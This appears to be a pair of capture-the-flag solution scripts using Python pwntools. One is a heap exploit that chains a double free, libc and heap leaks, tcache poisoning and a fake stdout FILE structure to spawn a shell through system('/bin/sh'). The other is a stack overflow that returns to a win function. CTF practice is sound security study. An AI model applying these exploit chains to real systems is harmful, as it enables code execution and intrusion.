Celestial Cafeteria
Nice Heap challenge
#!/usr/bin/env python3
from pwn import *
elf = ELF("./chal_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = elf
context.terminal = ['tmux', 'splitw', '-hl', '160']
#context.log_level = "debug"
gs = '''
continue
'''
def start():
if args.REMOTE:
return remote("127.0.0.1", 1337)
if args.GDB:
return gdb.debug([elf.path], gdbscript=gs)
else:
return process([elf.path])
r = start()
def rcu(d1, d2=0):
r.recvuntil(d1, drop=True)
if (d2):
return r.recvuntil(d2,drop=True)
libcbase = lambda: log.info("libc base = %#x" % libc.address)
logleak = lambda name, val: log.info(name+" = %#x" % val)
sa = lambda delim, data: r.sendafter(delim, data)
sla = lambda delim, line: r.sendlineafter(delim, line)
sl = lambda line: r.sendline(line)
bc = lambda value: str(value).encode('ascii')
demangle_base = lambda value: value << 0xc
remangle = lambda heap_base, value: (heap_base >> 0xc) ^ value
# ========= menu wrappers ==================
r.timeout = 0.5
index = 0
def _sync_menu():
rcu(b">> ")
def choose(opt):
sl(bc(opt))
def add(slot, typ, data: bytes):
choose(1)
sla(b"Slot: ", bc(slot))
sla(b"Type (1. Main, 2. Side, 3. Appetizer, 4. Dessert): ", bc(typ))
sa(b"Ingredients: ", data)
_sync_menu()
return slot
def delete(slot):
choose(2)
sla(b"Slot: ", bc(slot))
rcu(b"Dish deleted successfully!\n")
_sync_menu()
def edit(slot, data: bytes):
choose(3)
sla(b"Slot: ", bc(slot))
sa(b"Ingredients: ", data)
rcu(b"Dish edited successfully!\n")
_sync_menu()
def show(slot) -> bytes:
choose(4)
sla(b"Slot: ", bc(slot))
def place_order():
choose(5)
# ========= helpers ==============
def add_0x200(slot, data):
return add(slot, 1, data)
def add_0x180(slot, data):
return add(slot, 2, data)
def add_0x140(slot, data):
return add(slot, 3, data)
def add_0x100(slot, data):
return add(slot, 4, data)
#====== Exploit ============================
#HoB
for i in range(7):
add_0x100(i, b"A")
prev = add_0x100(7, b"prev")
victim = add_0x100(8, b"victim")
add_0x180(15, b"dpla")
for i in range(7):
delete(i)
delete(victim)
delete(prev)
for i in range(7):
add_0x100(i, b"B")
delete(victim)
overlap1 = add_0x140(9, b"A"*8)
#libc leak
show(9)
leak = u64(rcu(b"AAAAAAAA", b"\n").ljust(8,b"\x00"))
rcu(b">>")
logleak("libc leak", leak)
libc.address = leak - 0x203d10
libcbase()
#heap leak
edit(9, b"A"*0xf8+ b"Y"*8)
show(9)
leak = u64(rcu(b"YYYYYYYY", b"\n").ljust(8,b"\x00"))
rcu(b">>")
logleak("mangled heap leak", leak)
heap_base = demangle_base(leak)
logleak("demagled heap base", heap_base)
mangled_base = leak
#reset for pwn
edit(9, b"A"*0xf8+ p64(0x101)+p64(mangled_base))
overlap2 = add_0x100(10, b"dpladpla")
delete(0)
delete(overlap2)
edit(9, b"A"*0xf8+ p64(0x101)+p64(remangle(heap_base, libc.sym._IO_2_1_stdout_)))
add_0x100(11, p64(0xdeadbeef))
#fsop (libc 2.39)
gadget = libc.address + 0x00000000001724f0# add rdi, 0x10; jmp rcx;
stdout = libc.sym._IO_2_1_stdout_
fake_vtable = libc.sym._IO_wfile_jumps -0x18
#debug info
logleak("gadget", gadget)
logleak("_IO_2_1_stdout_",libc.sym._IO_2_1_stdout_)
logleak("_IO_stdfile_1_lock",libc.sym._IO_stdfile_1_lock)
#Fake FILE
fake = FileStructure(0)
fake.flags = 0x0
fake._IO_read_end=libc.sym.system# system()
fake._IO_save_base = p64(gadget)
fake._IO_write_end=u64(b'/bin/sh\x00')# rdi+0x10
fake._lock = libc.sym._IO_stdfile_1_lock #lock symbol
fake._codecvt = stdout + 0xb8
fake._wide_data = stdout+0x200 # _wide_data => point to 0x0
fake.unknown2 = p64(0)*2+p64(stdout+0x20)+p64(0)*3+p64(fake_vtable)
log.info(f"len of fake stdout {hex(len(fake))}")
#trigger
add_0x100(12, bytes(fake))
#========= interactive ====================
r.interactive()
mooneys bookstore
A simple pwn
#!/usr/bin/env python3
from pwn import *
elf = ELF("./overflow_me_patched")
context.binary = elf
context.terminal = ['tmux', 'splitw', '-hl', '160']
#context.log_level = "debug"
gs = '''
b get_input
continue
'''
def one_gadget(filename, base_addr=0):
return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', '-l1', filename]).decode().split(' ')]
def start():
if args.REMOTE:
return remote("chals.ctf.csaw.io", 21006)
if args.GDB:
return gdb.debug([elf.path], gdbscript=gs)
else:
return process([elf.path])
r = start()
def rcu(d1, d2=0):
r.recvuntil(d1, drop=True)
if (d2):
return r.recvuntil(d2,drop=True)
libcbase = lambda: log.info("libc base = %#x" % libc.address)
logleak = lambda name, val: log.info(name+" = %#x" % val)
sa = lambda delim, data: r.sendafter(delim, data)
sla = lambda delim, line: r.sendlineafter(delim, line)
sl = lambda line: r.sendline(line)
bc = lambda value: str(value).encode('ascii')
demangle_base = lambda value: value << 0xc
remangle = lambda heap_base, value: (heap_base >> 0xc) ^ value
#========= exploit here ===================
addr = p64(0x4040B8)
sa(b"address", addr)
r.recvline()
key = p64(int(r.recvline().strip(),16))
sa(b"unlocks", key)
val = int(rcu(b"you: ", b"\n"),16)
ret = 0x000000000040101a# ret
payload = b"A"*0x40
payload += p64(val)
payload += b"B"*0x10
payload += p64(ret)
payload += p64(elf.sym.get_flag)
sla(b"this story.", payload)
#========= interactive ====================
r.interactive()